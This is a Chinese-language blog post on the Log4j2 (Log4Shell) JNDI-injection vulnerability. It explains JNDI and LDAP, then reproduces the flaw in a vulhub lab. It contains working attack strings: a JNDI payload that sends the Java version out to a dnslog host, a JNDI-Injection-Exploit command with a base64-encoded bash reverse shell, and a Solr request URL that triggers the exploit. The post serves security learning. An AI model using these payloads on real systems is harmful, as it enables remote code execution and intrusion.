首页 > 其他分享 >log4j原理及漏洞利用

log4j原理及漏洞利用

时间:2022-12-29 15:01:09浏览次数:53  
标签:vulhub JNDI 绑定 漏洞 ldap 原理 上下文 log4j

背景

几乎每个系统都会使用日志框架,用于记录日志信息,这些信息可以提供程序运行的上下文。

log4j是被广泛使用的日志框架,这次漏洞原理就是通过JNDI注入。

影响范围:2.0-beta9 <= Apache Log4j <= 2.15.0-rc1(1.x不受影响)

一、理论学习

A、什么是JNDI

JNDI全称 Java Naming and Directory Interface。JNDI是Java平台的一个标准扩展,提供了一组接口、类和关于命名空间的概念。如同其它很多Java技术一样,JDNI是provider-based的技术,暴露了一个API和一个服务供应接口(SPI)。这意味着任何基于名字的技术都能通过JNDI而提供服务,只要JNDI支持这项技术。JNDI目前所支持的技术包括LDAP、CORBA Common Object Service(COS)名字服务、RMI、NDS、DNS、Windows注册表等等。很多J2EE技术,包括EJB都依靠JNDI来组织和定位实体。

JDNI通过绑定的概念将对象和名称联系起来。在一个文件系统中,文件名被绑定给文件。在DNS中,一个IP地址绑定一个URL。在目录服务中,一个对象名被绑定给一个对象实体。

JNDI中的一组绑定作为上下文来引用。每个上下文暴露的一组操作是一致的。例如,每个上下文提供了一个查找操作,返回指定名字的相应对象。每个上下文都提供了绑定和撤除绑定名字到某个对象的操作。JNDI使用通用的方式来暴露命名空间,即使用分层上下文以及使用相同命名语法的子上下文。

B、什么是LDAP
目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,支持过滤功能。
LDAP(Light Directory Access Portocol),它是基于X.500标准的轻量级目录访问协议。
目录是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样。
目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。所以目录天生是用来查询的,就好象它的名字一样。
LDAP目录服务是由目录数据库和一套访问协议组成的系统。

2、漏洞原理

Log4j2漏洞总的来说就是:因为Log4j2默认支持解析ldap/rmi协议(只要打印的日志中包括ldap/rmi协议即可),并会通过名称从ldap服务端其获取对应的Class文件,并使用ClassLoader在本地加载Ldap服务端返回的Class类。这就为攻击者提供了攻击途径,攻击者可以在界面传入一个包含恶意内容(会提供一个恶意的Class文件)的ldap协议内容(如:恶意内容${jndi:ldap://localhost:9999/Test}恶意内容),该内容传递到后端被log4j2打印出来,就会触发恶意的Class的加载执行(可执行任意后台指令),从而达到攻击的目的。

二、环境搭建复现

1.下载vulhub和漏洞环境使用:

wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip
unzip vulhub-master.zip
cd vulhub-master.zip
#进入需要复现的环境
cd vulhub-master/log4j/CVE
docker-compose up -d

打开网页

使用burp抓包发现报log4j漏洞(建议使用BurpSuite 2020)

插件下载

https://github.com/whwlsfb/Log4j2Scan

使用

Payload:${jndi:ldap://${sys:java.version}.ai9wn1.dnslog.cn}
#查看dnslog回显Java版本

反弹shell

运行漏洞利用的jar文件

JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar(https://github.com/d-rn/vulBox/blob/main/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar)

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,**YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExOS4xMzEvNDQ0NCAwPiYx**}|{base64,-d}|{bash,-i}" -A "**192.168.119.131**"
(加粗的部分1是上面反弹shell的base64编码后的,2是反弹shell的ip地址)

构造payload

http://192.168.119.131/solr/admin/cores?_=${jndi:ldap://192.168.119.131:1389/hdeol5} 
#要根据对应的jdk版本来构造payload

看到监听端口成功反弹到shell

标签:vulhub,JNDI,绑定,漏洞,ldap,原理,上下文,log4j
From: https://www.cnblogs.com/silverxin/p/17012543.html

相关文章

  • 文件上传漏洞靶机搭建教程
    uplad-labs靶场注意:该靶场为优秀的github开源项目,项目地址为:​​https://github.com/c0ny1/upload-labs​​介绍upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF......
  • PE格式:IATHook原理分析与代码编写
    Ring3层的IATHOOK和EATHOOK其原理是通过替换IAT表中函数的原始地址从而实现Hook的,与普通的InlineHook不太一样IATHook需要充分理解PE文件的结构才能完成Hook,......
  • 重磅直播|中科慧眼崔峰博士详解深度相机原理及其应用
    大家好,本公众号现已开启线上视频公开课,主讲人通过B站直播间,对3D视觉领域相关知识点进行讲解,并在微信群内完成答疑。主讲人对该领域的核心和主流技术进行了详解,干货满满,线下......
  • 容斥原理与gcd的问题
    gcd个数的处理(i,j无限制)P2398GCDSUMi为1-n,j为1-m,求gcd为k的个数代码#include<bits/stdc++.h>usingnamespacestd;#defineintlonglongconstintM=1e5+5;......
  • 【Java技术专题】「原理专题」深入分析Java中finalize方法的作用和底层原理
    finalize方法是什么finalize方法是Object的protected方法,Object的子类们可以覆盖该方法以实现资源清理工作,GC在首次回收对象之前调用该方法。finalize方法与C++的析构函......
  • 你知道红外成像的原理吗?红外热成像有什么用处
    自然界中的物体,除了具有我们所熟悉的可见光图像外,还具有一种红外热辐射图像,但人的肉眼看不到红外热辐射,这是因为它所发出的是红外线,为不可见光。物体温度越高时它所发出的红......
  • 交换机工作原理
    园区网架构基础交换技术/二层技术路由技术不一定都是三层技术(如RIP封装在UDP520,OSPF封装在IP89)二层交换机工作在数据链路层,对数据帧进行操作。在收到数据帧后,交换机会......
  • DEBUG 原理
    了解调试原理时看到了一个质量比较高的视频,【蛋饼嵌入式】一起探究调试原理。UP通俗,形象地讲解了DEBUG的一些原理,值得反复观看,但是视频不如文字查阅效率高,遂记录了以下......
  • Java原理性基础知识整理[详细]
    文章目录​​Java程序编译过程​​​​编译型和解析型语言​​​​命名规范​​​​编程风格​​​​大括号​​​​非C风格的数组声明​​​​阿里巴巴Java开发手册​​​......
  • MySQL索引背后的数据结构及算法原理
     摘要本文以MySQL数据库为研究对象,讨论与数据库索引相关的一些话题。特别需要说明的是,MySQL支持诸多存储引擎,而各种存储引擎对索引的支持也各不相同,因此MySQL数据库支持多......